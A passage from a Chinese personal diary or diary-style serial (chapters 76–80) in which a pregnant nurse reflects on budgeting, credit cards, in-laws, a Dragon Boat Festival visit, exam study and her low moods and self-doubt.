    第五点，我好像也学会了推卸责任，今天早上家婆讲我睡的比较晚的时候，我会说是老公的错，我睡的比他早。心里更舒服。本来就是他晚好晚，我本来十一点钟睡觉的人，硬生生的被带的晚上一点睡了，然后又很早醒来，因为我需要把自己的习惯调节好来，等以后有了宝宝，需要很早起床给她做饭上学，我就起的来，然后就变成一天只睡几个子小时了，确实很难抗。后来就改变了策略，下午下班我会好好的休息一两个小时，可是这样子的结果就是晚上还更睡不着，特别特别的清醒，然后早上就很困，所以又需要调整自己的睡眠时间，下午就不能休息了，做一些事情，然后晚上早点洗澡，就好好休息。等早上醒来，再养成早上做题目的习惯，其实我更喜欢晚上做题目，不知道是不是自己的错觉，晚上十点到十一点左右做题的时候我记得更牢

 第76章

    好多天没有写了！因为没有动力！突然之间的想法。我也不知道为什么？总有那么几天实在起不了劲。
    最近收到了app的奶粉礼物，挺好的。好喝，不过不打广告。一个月花一百块钱就能够得到一百块的话费，我好想花啊！不过没有去花，因为什么呢？我也不知道。其实这是一个薅羊毛的途径，因为我一个月的话费就需要一百五左右。如果能够买东西买一百块钱，每个月平台奖励一百块的话费，那么也挺划算的。可是不知道为什么不想这样子。真的搞不懂我自己啊！
    今天加油不小心用了信用卡，然后用微信还你的信用卡，多花了一毛钱，搞得我好心痛啊！我的心情真的有点不开心，因为用支付宝还信用卡，可以省一毛钱。而我没有领悟到这个意思。然后办了好多张信用卡了，一不小心就会用信用卡，我并没有理解到信用卡的还款日什么免息期是什么意思？所以一用信用卡就赶紧还钱，特别害怕自己会过期。利滚利的，我还不起。所以信用卡还是不要办那么多，我过两个月左右准备注销掉。主要是我忘性大。智商高，工资高控制力很好的人，使用信用卡是一件非常划得来的事，因为那里有积分兑换，有好多东西可以换，可是那个我看了一下积分兑换那里需要消费一元兑换一分，可是兑换的礼物的积分是好高啊几乎需要几万分，兑换的东西只有几十块钱到一百块钱的价值。我内心里感觉值得的样子一般般。没兴趣了。而且我一个月也不想花那么多钱，除非用来买车，攒好几万块钱的钱，然后我先用着信用卡付钱，在免息期内还钱，那样子就有利息，可是信用卡会收手续费，那么也省不到钱。反正有点划不来。可是这样子就有积分，可以兑换礼物。感觉还是划不来。然后买车也不可能现在买，也不知道信用卡的积分什么时候会清零，不然的话平时也可以使用，但是我不理解免息期和账单日是什么意思？虽然看了好多文章，可是还是一头雾水。算了那种不懂的东西还是不要去理了，太复杂了，虽然听说脑子越用越灵活，可是我真的搞了好多年都搞不懂。还是好好认识自己的本质吧！不选择强求自己变得智商高。
    今天去看了住院的小妹妹。叔叔的女儿。好久不见自己的亲戚，我差不多都有忘记他们了，昨天看到他们忘记打招呼了。今天买了点水果过去。也不知道需要讲什么？好尴尬的感觉。婶婶很久以前对我其实还好，后来我厚着脸皮在叔叔家蹭吃蹭喝，实在是忍不了，然后事也不做，就爆发了。后来就会抱怨我，后来我就没有怎么去叔叔家了。不过那个时候的自己确实挺穷没钱的，所以干了就干了，遭人讨厌其实也正常，因为如果是我自己遇到这样子的亲戚，在我我家蹭吃蹭喝不做事我也会很讨厌对方的。婶婶以前还买了两百多的衣服给我穿。我结婚了，叔叔也包了好大一个红包给我。反正挺开心的。就买了点水果看一下。
    那个小妹妹挺可爱的，不过有点不熟系，毕竟我也才见了两面而已。实在是不知道说什么就走了。
    攒了一点点钱。去银行定存一年的。因为我担心明年需要用钱，然后有钱在我的银行卡里面我就会忍不住的想要花钱。虽然我买的东西都是用在刀刃上的，可是我还是感觉自己需要省钱。因为我有老公弟弟要养，等以后还有自己的孩子，有可能会有好几个宝宝，也说不定啊！女宝宝也好，男宝宝也好。总是很想准备很多的钱供他们学习。然后房子也还没有买，有点希望自己能够有一套自己的家。虽然以后公公婆婆一定会过来和我一起住，可是有一个大房子。住的也开心。首付还需要攒，老公还有债没有还完。老公的钱用来还债。这是婚前欠款。然后可以考验他的人品。
    我对老公的看法:他是一个比较稳重的人。也比较重感情。人情世故之类的，他会划算好。这是优点。缺点是爱抽烟，可是抽烟可以给他的工作带来灵感，爱喝饮料，一个月不知道喝了多少瓶饮料，我已经麻木了。我好想把他的这个爱好砍了，可是省了钱失去了感情有点划不来，所以我没有讲什么。喜欢买皮肤，游戏皮肤。这也是花钱的大头，如果不买，心情就很差，然后在其他方面花钱。所以我也不能讲什么。综合一下，我感觉我买房的愿望，指望到老公身上是遥遥无期的。不过他对我又还好，他会给我买牛奶，买水果吃。可是其实我心里不太想吃很贵的水果，不过家公家婆会买比较划得来的水果给我吃。也还好。
    总之，老公会把我想要省的钱，给花掉的。所以我不能指望他买房。我需要自己变的强大一点，提升能力买房子。
    可是我好像踌躇性努力，间歇性混吃混喝的那种，一会儿志气满满，一会儿就变得很糟糕的那种状态。很像改不了的本性。
    有点无奈。
    这就是我贫穷的本质。我的精力不足，精神力也不足。需要调整，可是我也确实不会调整。
    今天是骑车去的，我发现我确实今年不适合骑车，可能是怀了宝宝的缘故，也有可能是自己太久没有骑车了，总是会分心。还好骑的比较慢，然后其他的车也比较少，所以今天过得还行吧！平平安安的回到了家，下次就需要好好的准备了。我需要去散步了。
    最近崽崽在肚子里蹦蹦跶跶的样子挺可爱的。老公特别的开心，感觉就像一个没长大的男孩子一样，开心了很久。不过他最近肩膀不舒服，我本来想给他按摩的，我发现他还没有好，另外的那个已经好了。还是去医院看一下吧！早点解决问题，更好一点吧！虽然医院贵，但是医院就是快啊！这也是一比比较大的开支。可是没有办法对吧！
    避免不了的。
    昨天听了同事的结婚以后的生活，听的另一个同事的，感觉日子过得一般般，有点难受的那种，因为生了二胎，然后又在乡下带孩子，对家婆有点不爽，因为带孩子好累，结果家婆去工作了，一天天的在家洗衣服带宝宝，家里的亲戚是个低保户，所以没有空调天气很热，睡也睡不好，县里的房子不知道对方为什么没有入住。不清楚，可能是刚买房，还在装修吧！反正听起来有点难受，希望她过得好一点吧！因为我也过几个月要生了，感觉日子应该也是一样的。我的家婆决定八月底到九月份的样子就会辞职专门照顾我，可是我以后的花销就会很大。家婆照顾我，我不可能不给钱给她，老公决定每个月给两千给家婆，家公老公每个月需要给两千用来还债的，我肯定需要给几百块给家婆。因为坐月子之类的，需要菜钱。听同事说她们坐月子吃的很好，然后奶水很足，宝宝也挺好带的，经常吃完了就睡要么乖乖的一边自己玩。听到了好多食谱，感觉都很贵。猪脚汤之类的一盆一盆的喝。几百是可能得花的。怀孕的这段时间里，老公会买鱼给我吃。都是比较贵一点的鱼，大概二十来块钱一斤。不过我吃不完，经常浪费，墨鱼也吃了好多，墨鱼更喜欢吃，我妈妈买了好多条给我，可以家里的鸡蛋我吃不下，还有两冰箱的鸡蛋没有吃完。真的是，鸡蛋也很有营养，可是不知道为什么就是不喜欢吃，一吃就哭，很难受。所以没办法，只能吃比较贵的东西果然宝宝是个吞金兽啊！这还只是怀孕。未来还不知道需要花多少钱。给小叔子买了成长牛奶。老公买的，我感觉老公弟弟还是需要花钱培养的，以后等他长大了，他变得更好了，挣更多的钱，他结婚可以让我们两个少垫点钱。现在娶媳妇那么贵，自己以后又有孩子，如果老公弟弟长的遭毛节屎一样，然后工作能力一般的话工资也少，就没有办法娶老婆，那样子家公家婆肯定会要我们出，毕竟他现在太小了，以后等我们两个人到中年，自己小孩子娶媳妇需要花一大笔钱，弟弟也需要花一大笔钱，然后还有房贷，车贷，如果自己宝宝需要买房子，那么就压力好大。
    老公也只是运气好，他娶到了我，虽然我挣不了多少钱，但是现在男女比例特别的大，我们本地就相差23万的人口，男的比女的多23万。以后我的宝宝怎么办？如果她是女孩子，如果他是男孩子？总之危机感是一直都存在的。
    有压力却没有懂动力，这样子挺累的。怎么样才能变得有动力，从心灵和灵魂和潜意识内在有动力呢？然后把事情做好转化为金钱。我需要想出头绪来。

 第77章

    今天端午节。我们昨天和老公一起回老家过节的。晚上很晚才回去，因为我磨磨蹭蹭的很晚去洗澡洗头发。耽误了一些时间。然后我们就回去了，家公开了一个多小时的车。然后就是看很多的星星，还有泥鳅，和爷爷奶奶打招呼。然后我们就准备睡觉。
    晚上我还扣了很久的脚皮。烂脚丫子。特别的不舒服。老公在舒服的打游戏。
    第二天早上七点半我才醒。老公和家公家婆应该很早就起床了等我起来的时候，家里的霉味都没什么了，发霉的地方清理干净了。然后就去爷爷奶奶家里吃早饭。吃完早饭，我回去了以后就躺床上睡着了，好困，大概到了十点半左右，有客人来了。大舅舅和舅妈。然后我就被叫起来打了个招呼。然后过了一会儿，其他的亲戚也来了，也打了招呼，然后就是一起嗑瓜子。然后就到了十二点左右。就帮忙上菜。我也没有干什么活，就端了几碗菜。整个上午剥了点蒜，还有甜豆撕了一些筋。没干什么。奶奶和婶婶还有家婆在做菜。我感觉婶婶挺安静的就把菜做完了。奶奶安排了一切。
    然后吃完了中午饭。我又去睡觉了。一睡睡到了下午五点多，然后就是去爷爷奶奶那里吃晚饭。家公应该下午去摘杨梅了。本来我也想去拍下来记录下来的。奈何下午睡的太香了。野生的杨梅还挺好吃的，酸酸的。带了一些回去。和叔叔聊了一会儿天。还好吧！家婆认为我读了很多的书。很有知识。其实我并不认为自己挺好的。可能我的心理就是我不好别人也不好，或者是我不好，别人好的那种状态吧！然后回去的路上就听了一会儿戏曲还有贫穷的本质，一些内容。并不是很听得懂，这个事例也讲的是印度1970年左右的事情。我对内容的了解是:教育。对比私立学校和公立学校还有穷人父母对孩子教育的想法。但是我并没有吸收到什么。因为我们国家的公立学校还挺不错的。吸收的大概是他们有领导会对社会贫穷原因的研究还有各种探索。挺佩服的。
    然后就是戏曲。昆曲，因为路上的时间挺长的，听这个挺舒服的，不过我也不知道其他人舒服还是不舒服，我没有问。
    我真的很懒啊！我看了一些其他的女士的视频。我感觉人家好好啊！真的搞不懂为什么老公结婚那么早，不挑久一点。没准他就能娶一个勤快一点的老婆了。而且他们的彩礼还挺少的居然才几万块钱。三四万块钱。等宝宝生下来我估计会更懒一点。那样子老公会变得好累的。太痛苦了，可惜他没有挑久一点，那样子他就不用那么累了。而我也不用祸害他。
    我的身体不算很好。整个人也是无精打采的那种，持续很久的时间。这段时间可能怀孕了，精神状态比以前更好一点，可是等我没有怀孕了不是又变回了原来的子。那样子老公会很累吧。
    今天看到了潜意识和心理方面对疾病的影响。生病是自己想要生病，才生病的。这个观点我表示认同。因为有一段时间，我很渴望妈妈的关爱，就变得更加的脆弱然后生病，渴望她会关心我。看到了我受伤她会安慰我，所以那段时间我去看医生，说自己有毛病，医生说我没病。反正就是没有问题，可是自己纠结了好几年，花了好多钱，去检查也检查不出什么问题。和妈妈的关系也不怎么好。就完了。过了很久很久以后，等我想通了，那种症状就好多了。这种潜意识里想要自己生大病的感觉，真的是难受至极啊！可是有什么办法可以解决呢？

 第78章

    很晚了啊！快到十二点了。
    过两天又需要换人搭班了。有点开心，又有点无奈。因为新的同事是个学习很棒的人，我感觉能蹦人家的学神之光可以很好的学习。看的进书。舍不得的是老搭档他在帮我上晚班我会更轻松一点。对啊守夜的时间会相对来说更短。我的更短，他的更长。虽然我知道不太公平，但是对方确实很有心，他考虑我是孕妇所以上班时间更长。我能更好的休息。确实是不错的同事啊！
    不过两个人上班还是公平一点好吧！不然时间久了，会变得更糟糕一点。过往不念。恭喜对方去了个好科室。也迎接我的新同事。十月份就准备去考专升本了。确实需要好好看书。怀孕了之后，智商不够用啊！听说这一般怀的是女儿才会这样子。智商堪忧。大概把智慧都传给宝宝了。无奈也得接受。所以准备备考。对于别人来说可能会比较简单的东西，对我来说会比较难，不过我还是很希望我能够努力学习。
    我准备抄书。因为我真的很难记住这些东西。虽然我已经尝试性的理解了，但是过两天我就会忘的一干二净。记东西没有逻辑，想到有趣的东西才记得住，不是我认为有趣的我记不住。而且上班的同事我也记不住。不知道什么原因。可能脸盲吧！
    今天吃了一只蛙。那只蛙是家里养的，就房子旁边的水里养的，吃了一点点肉，然后我有点过敏的症状。看来我以后需要小心一点吧！以后不要去吃那么多奇奇怪怪的东西了。听说这能够补营养。下次不吃。我还是吃之前搜了百度，孕妇能不能吃蛙，都写的能吃，结果还是要中招了。所以以后我只吃猪肉鸡肉还有鱼了。时刻记住。
    还好是轻微的过敏。应该不会怎么样吧。家里人认为我的肠胃不太好，希望我能够补脾胃，身体会更好一点。
    今天才知道西瓜也是湿气重的人不能吃的。今天我又吃了好多西瓜呢！没忍住，今天实在是热啊！看来我需要控制一下。冰箱里还有很多的苹果。可以吃。
    今天便秘。大便很难拉，感觉有点肛裂，又没有裂开的感觉。很痛。没有看到便血。
    今天宝宝胎动很开心。在肚子里伸胳膊蹬腿，开心。
    今天看到了护士考公务员的信息，不过她们都是本科护士，所以转行转的很快，很顺利。我的话就不指望这个了，不过也可以努力学习。争取考护士的编制吧！
    听说听书和看小视频里的知识对我们没有什么用，因为看了不能思考，没有花时间思考。所以那些知识也就很快忘记了。哪怕视频里确实在教什么，可是却学不到什么。嗯嗯可能会有这样子的情况吧！不过现在的自己好像看书也不花脑子思考呢？所以需要改变自己的思想模式。不管是看什么，想什么，都好好思考一下。可是我想到来又有什么意义呢？
    明天需要刷题。今天很棒刷了三十个题目。正确率挺高的。还不错。值得鼓励。
    明两天就需要考试了。明天加油吧！

 第79章

    今天小晚班。我还需要做题，不知道为什么现在不想做。搞不懂，明天时间就快截止了。为什么会没有紧迫感呢？
    难道老公家的风水真的有问题，就是不爱学习的风水。滚，不要找那么多借口。
    昨天看了一会儿公积金的消息。看不太懂，发现自己如果使用公积金贷款并不能贷很多。计划五年到十年之后买房子。就想了解一下，我才知道每个月的公积金可以贷款多少年这一说法。我还以为有公积金就可以贷款的，原来是根据每个月缴存多少才能贷款多少钱。那我的公积金还比较少的，可能只能贷一点点钱，剩下的就需要商业贷款了。商业贷款的话也需要贷款好多钱。用那个计算器，算一下好像也划得来。问题是首付没有多少钱。首付需要三成的话，几乎二十五万左右。还需要两个人攒好多年。现在我们的小县城，一平就六七千块钱。等过一段时间不知道会不会涨价。老公预测肯定会涨价，可是我们的亲戚朋友也借不出多少钱。他还有债务。那还是过几年再说吧！先攒钱吧！
    现在的话，不要想那么多。每个月攒钱一千块定存一年。明年每个月就有一笔一千块钱的本金可以应急使用。有一部分的钱不能乱花，需要留起来生宝宝用。万一需要剖腹产，需要好几千块钱，顺产的话三四千块钱左右。这笔不敢存，我怕有突发事件。
    最近淘宝有几块钱的优惠红包，买了一个盘子两分钱。每天一张，又下单了一个盘子，没有想到我居然在没有收货点了收货，因为我买的盘子都一样的，然后第一个盘子我已经收到了，我感觉还不错，因为才两分钱，不知道淘宝以后还会不会搞活动，能蹭到一套盘子也好，毕竟我们家每天都把骨头吐到桌子上，我比较懒，不想抹桌子，可是我能接受洗碗。我认为有一套盘子挺好的。我们全家才五个人，如果一套的话，也就才五个盘子，一毛钱。以前淘宝有一天可以领五块钱红包的福利，我没有去动，因为我感觉好少，然后后来我发现了一些神奇的人。他们用五块钱买了好多水果，使用这个优惠券，一天也就才花一块钱或者几毛钱就能天天吃水果。或者买一些小东西。这让我非常的的意外，可惜后来淘宝它改掉了规则，没有那么多优惠红包了，搞得我感觉自己错过了一个亿。有一些优惠活动真的是好要脑子，又需要这里下app那里又点什么，感到好烦，就不弄了。没兴趣。所以就用拼多多了。好久没有用淘宝了，不知道它是不是每天都有红包。我需要这几天看一下。有的话我就去买盘子。看了一会儿淘宝，又买了一些小东西。嗯感觉花的钱更多了呢！不过我认为花的值吧！因为我们需要一个防烫的东西，所以买了防烫的，买了一个装内衣裤的格子，花了一毛钱办了三十天的省钱卡。还行吧！
    我确实需要这些东西，不算乱花钱。现在的家一家人住一起，房子比较小，每个人使用的空间也少，衣服挺多的，堆得哪里都是，乱七八糟的，家婆还挺好的，她会整理一下，可是我不想整理，因为我一个人住的时候我也是堆积如山的衣服，不想动。我好像没有好习惯。因为这些缺点我又认为我是一个很废的人，内心不爽，可是看到了我又不想动。因为整理了一下子，过一天又变成了原来的样子，整理和没有整理的区别是一样的，我内心认为这是白费劲。没有意义。可是对于整洁来说又不太喜欢乱七八糟的环境。
    就像妈妈和妹妹帮我整理了衣服，可是我总是忘记自己的东西在哪里，然后找不到了，又翻的乱七八糟的。能保持整洁两天就是最好的状态了。
    还是需要改变自己的思维，需要做题。做十几题就奖励自己玩一会儿，然后再做十几题。我真的需要抓紧了。
    今天的优点:第一，买了自己需要的东西，没有额外的花费。
    第二还是写了一点东西，虽然感觉自己的文笔好像流逝了一样，有点磕磕巴巴的，可是写了就是很不错呀，很值得赞美，因为再批评下去我会不开心的。可是我心里又特别的想让我自己写的好一点，可是我又不想看各种各样的写作技巧，主要是我看了不知道怎么使用，然后会让我心里有一种挫败感，那种油然而生的挫败感会让我感觉对自己很失望，不自信，不开心，内心的压力很大，而我在逃避我的挫败感我又没有成长起来，文笔还是这个老样子，已经很久很久了，流水账一样的日子都记得一般般，可想而知我的内心变成了什么奇怪的模样，可能我越来越懒惰在自己的封闭圈子里，不学习，不交流不沟通，然后慢慢的内耗像船一样在海里沉下去的感觉，也有可能我会慢慢的变成一个木头人，比较麻木，对外界没有任何的感知。我有点失落我会变成这样子。我其实很希望自己能够越来越有动力，越来越有活力的，可是我没有做到这个点。我为什么没有做到呢？因为我感觉到了不开心的自己。不开心的情绪。可是我没有办法去改变这样子的情况。我只能好好和自己沟通一下。
    看见不开心的事，尽量自己想通一点。那样子心里面就不会难受了。
    其实我的内心是个脆弱自卑的人，所以我看别人的时候也是这个样子的。我心里有时候会感觉到我认为自己是不好的人，而别人也是不怎么好的人。有的时候会转变成我是个不好的人，而别人是个很好的人。要么会变成我很好，而别人不好。总之还没有达到稳定的我很好，别人也很好的状态。我在追求这种心灵状态。不过我还没有
    达到它。但愿我能够达到吧！
    第三:我总是会想起自己曾经的梦想。很想实现的愿望。可是我没有实现它。有点失落吧。毕竟自己内心想要的东西总是会选择不去实现，而不想要的东西从来都不会去拒绝，认为这是不可抗力的。别人反对的意见在我的心里变得很重要，很重要，而我自己的想法变得不重要，所以我很难开心起来，因为我会选择让自己不舒服的方式生活，然后这让我得到了什么呢？我可以一个人孤独的笑着，感觉像一个深井冰一样独乐乐，因为我不想分享我感觉开心的事情，想到了内心里就会有一个小剧场，内心里的每个人都有自己的角色，会很有趣，可是为什么不能是现实里的人也会感觉到很有趣呢？一定要在自己心里感觉到有趣的事情呢？因为我总是很容易感觉现实里的人有很多的负能量的东西，一感觉到就会不开心，不喜欢别人负能量满满的样子，可是不喜欢却不能代表它不存在，只能够在梦里构建一种乌托邦一样的人生，如梦似幻。好像很多人在梦里都没有烦恼一样。这样子的我是不是很像深井冰？也许我需要走出我的舒适区，我的舒适区就是我的梦境吧！在心里构建的梦境，我可以把每个人都想的不那么幸福一点，把他们想的惨一点，那样子看待现实里那些人就会感觉他们很幸福。能够接受现实？也只能想一想了。其实现实里每个人在内心的呈现都是自己内心的投射，其实我内心里也并不认为我是一直快乐的，美好的，内心也是负能量爆棚的那种，只是我在逃跑，在逃避现实问题。没有去面对它而已。
    就像想要买房子，可是没有办法买房子。我能想到的途径就是主职工资加副业。可是主职我做的一般般，岌岌可危，副业更是没有什么头绪。我的脑子一片空白一样，想不到什么办法一样，一片死寂。所以我变得更加死气沉沉，没有活力，我会慢慢的埋怨这个世界，可是我内心又不想选择去埋怨世界。埋怨自己没有办法去实现自己的心愿，把这种能量投射到身边的每一个人身上就变得特别的烦躁难受。在我的内心里我认为我很差劲，可是周围的人都认为是个很棒的人，可是我自己没有客观的去看待我自己。
    我讨厌自己懒惰，因为我总是躺着睡觉，不做事。可是家里其实也没有什么需要我干的，就像折衣服一样，我认为折了也没有意思，有点白费劲的感觉。空间太少，还是放的乱七八糟的，然后碗我也会洗，已经洗干净了，做饭的话现在怀孕我不能闻太多的油烟，等我生完宝宝，我可以选择做饭啊！现在怀着孕想那么多做什么，地上的垃圾其实都被家婆扫完了，我抢着干也没有意义，看到了就扫一下，也不是很紧要的事，这些都是小事情，并没有很多的时间不知道为什么我会感觉到很不舒服，可能我心里很希望我能做这些事做的好吧！如果很希望的话，希望自己做，那就选择干呗！
    这真的没意思。还不如买扫地机器人。可是这个阶段应该不会买，除非我们将来有了新家新房子，买一个。
    主职我认为我干的不棒。可是有一次领导说她很信任我，在上班的时候。我听到的时候有点惊呆了的感觉。所以好好干了一段时间。可是我并不认为我做的很好，因为我认为我脑子笨，很多人记不住很多事情也记不住，可是职业素养还是有的，很认真。就像这种身体素质限制了我，我是个超级脸盲，不知道圆滑处事，有的时候领导都认不出的那种，亲戚朋友也认不出的那种，我对我自己这个状态是特别的无奈的。可是很多东西就算我不讲，日子久了人家也就懂了。不用纠结，纠结难受我也改变不了这个情况啊！
    我就天生这个样子，我用了很多方法去记住一些人，然后还是很难记住，那我能怎么办呢？只能接受自己的现状。不足。这毕竟是天生的。
    我认为这样子的自己有病，病的不轻，可能肾精不足，可能先天性不好。总之思考的多了，就越来越郁闷。怀疑自己来到这个世界有什么意义，然后就越想就越气。可是来都来了我有什么办法。看一些小短片关于怀孕生孩子的，老有一堆的人说自己是那么的牛批幸运至极，在一大堆的竞争者中活下来。我没有什么想法。并不感觉到感动。可是这并不能改变我也很幸运，活在这个世界上。不管我是怎么想的。
    我没有缺胳膊断腿，很少受伤，被家里人照顾的还好，虽然我们娘家其实也一般般，但是他们用了他们力所能及的事情来教育我，虽然文化不高，虽然我听了其实也从来听不懂。但是他们真的用心过了。虽然我从来都不理解，等我理解家人的良苦用心以后已经过去很久了，但是这些事情都会刻在灵魂里成为我的一部分，虽然看起来吸收不良，实在缓慢，但是有总比没有好。
    我需要去面对我的自卑感，缺陷的感觉，挫败感，从内心里面明白我其实是一个很普通的人。从潜意识里明白我其实一般般，不是特别的明亮的人，然后全心全意的接受自己的垃圾，不现实。然后放下对它的执念。
    我一直都在追求自己是个聪明人，有那么早一天突然想到为什么我需要一直追求这个东西呢？然后细想一下发现是因为自己不聪明才选择追求聪明的感觉。然后我换了一种思想，不去追求聪明的感觉，可是我变得不开心了。闷闷不乐。看来我还是需要继续追求那种感觉。不聪明的我看到了很多我曾看不到的别人的优点，可是看不到自己的优点，聪明的我只看到自己的优点，没有看到别人的优点。也许成长就是从内心里看到自己的优点也看到别人的优点，而且能够很坦然的面对对方的优势吧！
    我有的时候对家公有一点点小意见，可是会忍着，我换一个角度去看他的想法，我又认为他的思想挺正常的，只是和我的想法不一样而已。如果我到了这个层面我也会感觉很不幸福的，而我没有到那个层面就不能给别人的生活指手画脚。不管人家认为这件事实现有趣的还是不有趣的，都一般般。而人家也对我有意见，因为他没有感觉到我对他的尊重。一个晚辈对于长辈的尊重的态度。其实我心里是没有感觉的，我也不知道怎么形容。我感觉我自己是尊重他的，可是我又没有发现我能展现出那种态度，尊重的态度。也不知道怎么分析我的情况。就像我和生活脱节了，也有可能性我只是不知道怎么表达表现出我的尊重？也有可能是其他的原因。总之好奇怪啊！
    我可能这种情况属于社恐吧！不清楚。一般我就只和别人打个招呼而已，其他的我都不怎么说话。因为我不知道我该说什么，好像也想不到需要说什么。无奈。
    我想不起生活里有什么有趣的东西，我总感觉没有什么有趣的事情发生。不管是大事还是小事。一切平平淡淡的。就像没有对人生的编剧导演系一样，可是脑子里却很容易想象一些搞笑的事，很微小的事，就像买了一点点东西很便宜，我会感到好开心，好划算好值得，然后会一个劲的傻笑，可是说出来又感觉这玩意没有什么意义啊，并不算特别的有趣。也许对大环境里来说这不是很有意义的事情，可是对于我来说这是很有意义的事情吧！记得看过一本小说，一个女主她获得一种能力可以收到很多礼物，因为她的内心很希望自己能够得到礼物，所以她的那种天分就变成了可以获得礼物的能力，而其他和她一样能力的人，要么是碰到美女，因为他内心对美女有一种特殊的渴望，在没有那种能力之前，所以有了这种能力之后就变得能够碰到很多的美女。还有的会有很多的美食。总之就是很神奇的故事，可能对于我来说也是我一样的，我潜意识里会认为很多东西都比较贵，我喜欢买那些便宜的对我来说划得来有价值的东西，这让我感觉很开心，感觉就像捡到了宝的感觉，因为对于我来说我喜欢这样子的，就像我脑子里的多巴胺就是我这样子运作的，可能它体现了我的本质是个穷人吧！可是我挺开心的。然后我也很珍惜我的东西，很多东西我都舍不得扔，因为在我眼里它们买了就是我有价值的，可是我很容易丧，丧的时候什么都不想干，只想躺着，我也不知道为什么会这样子？事情好像又不是很多。很难。就是容易丧，不开心。然后闷着，然后什么都不干，然后就发霉的感觉，然后我的东西就需要丢掉了。可是我又舍不得。然后很难受的感觉。可能我有两种潜意识也不一定，我喜欢美好的贵的，另一个喜欢实用的有价值的，那么以后我选择东西，我需要去选择有美感又实用的东西，那样子我看到它就会变得更有活力吧！也许！
    第四:回顾一下我最近想做又没有做的事吧！第一我想刷题，我刷了百分之十，总题目有四百多，还有一个有七百多，刷了百分之三十。第二我想要看教小孩子的书，有一本育儿书，三岁以前的宝宝怎么教的书，书名忘了，在科室里，上大晚班的时候可以翻一下，增长知识，可是最近没有选择看。第三我想要抄书。医学综合对我来说很难，这是专升本需要看的，有刷题的课程，可是我不知道为什么不想刷题。书也看不进，我只能想到这个办法来帮助我强迫我学习下去，因为拿到专升本对我来说有很重要的作用。可以让我提前一年考主管护师，可以让我考副主任护师的时候提前一年。更省时间。不过我听到了很多负面的信息，第一个负面的信息，就是感觉专升本没有什么意义，感觉自己并不如在学校里全日制学习的那群人学的东西多，拿到这个证有点自欺欺人，这让我的内心对于专升本有一点点抗拒的心理。因为我的心里有一种骄傲的情绪。我不想接受虚伪至极的自己。这个东西只是花了很多钱买来的一样，自己又学不到什么知识的感觉。感觉自己在做骗人的事情。可是专升本对于想要学习的人来说又是一个途径，就像外卖小哥哥，他们也有可能知道很多的诗词歌赋，也会写毛笔字，也有一种自己上升的空间和途径，我还听说有一个人，他读了中职学校，然后通过自己的努力，在别人打牌无所事事的时候，自己发奋努力学习，然后取得了很不错的成绩，然后拿到了文聘，也在人生路上走上了不一样的职业方向，然后过得也还不错。虽然对于那些在学校里学出来直接进入职场的人来说这属于一般般的机遇，可是对于他自己来说相对于一起上中职的同学来说，他的努力是很重要的，也改变了他的人生经历。而我对于专升本的偏见就在于我认为自己学习很差劲，而我又需要考这个，因为考到了对我又作用。可是我又认为我的真材实料没有那么高，可是我又需要它，所以我认为我是个虚伪的人，是个不好的人，可是什么是好的呢？我也不知道。如果我放弃了，那么我需要等很多年才能考主管护师。主管护师的题目其实很难，听说的的，我自己也没有做过多少题目，因为这是六年以后的考试，我需要现在努力学习。才能一下子通过。我明白这个道理。我也不知道我内心在纠结什么。我感觉我自己很差劲，给别人的感觉也是我很差劲，可是他们问一些专业的问题我又能答出来，可是我又不能说的很全面，感觉就是半吊子级别的。所以努力吧！
    专升本需要考，去考吧！因为考到了之后我能考心理咨询师，考了心理咨询师我可以好好的用专业的能力去修补一下我自己的精神状态，我总感觉我自己心里有毛病，可是我又不知道我是什么毛病，去看心理医生，一来怕诊疗费贵，二来不想让别人知道自己不正常，感觉自己去看心理医生就是不正常。怕被人知道自己是个深井冰，然后越是藏起来越感觉自己病的不轻。总之是很复杂很复杂的情绪。它们藏在情绪里就像有毒一样，时而不时会发生点状况。其实我们医院也有心理医生。不过我不敢看。
    这应该是认知方面的问题。有很多的认知都是错误的，可是我不知道怎么去修理它。花钱去修理舍不得，也不想让人知道自己有问题。写下来我都会笑死，可是我就是这么复杂。
    人真的很奇怪。

 第80章

    今天晚班。白天有时间。想要去做可乐鸡翅，我老公很想吃这道菜。其实我没有怎么做过，就之前做了一次。味道还行吧！然后想做一个罗宋汤。罗宋汤做过好多次了，是自己喜欢的味道。想要去尝试一下。
    家婆挺开心的，希望我能够学会，以后家里来了客人可以自己做菜，省好多钱。
    想要睡一上午，结果停电了，风扇停了，好热啊！wifi也不能用。做了一会儿题，明天考试呢！下完晚班，下午考试。希望自己今天你能把题目刷完，考一个好成绩吧！
    昨天的小夜班比较晚睡，没想到今天早上七点醒了，我的闹钟。那首歌很好听。我好久没有听那个闹钟了，dream li possible。静静地听了一下子我的闹钟，好开心的感觉。以前考试的时候，天天都听这首歌给自己打气。学习的很烦了，就跟着唱，后来的我都忘记了这首歌了。也忘记了这首歌的意义。
    可能人真的会变化吧！
    以前在很执着而坚定的追求自己内心的一种向往和渴望，哪怕它得不到也不会放弃。现在的自己有点随心所欲，说的好听叫把握当下，享受当下，说的难听叫没有人生目标的感觉，两种生活态度都有好的一面。第一种会焦虑会难过不安，痛苦至极。第二种有点温水煮青蛙一样，慢慢的陷入危险之中，而自己很难发觉，自己已经到了失去了优势的地步。
    我的理想生活是什么样子的呢？房间里有花瓶，会摆上一束洋甘菊，洋甘菊养的比较长，买一束可以养十来天左右，然后它也比较便宜。清晨醒来看到它会心情很愉快。能够早早的起床，看书学习，给自己充电。无论生活变成什么样子，我都会为实现内心里所向往的生活而努力，不管它现在是不是达不到我心中的要求，至少会一点点的达到，哪怕很缓慢的形式。
    会学会很多的菜，会好好的照顾自己能够给别人带来幸福的感觉。
    而后来就忘记了，一干二净。
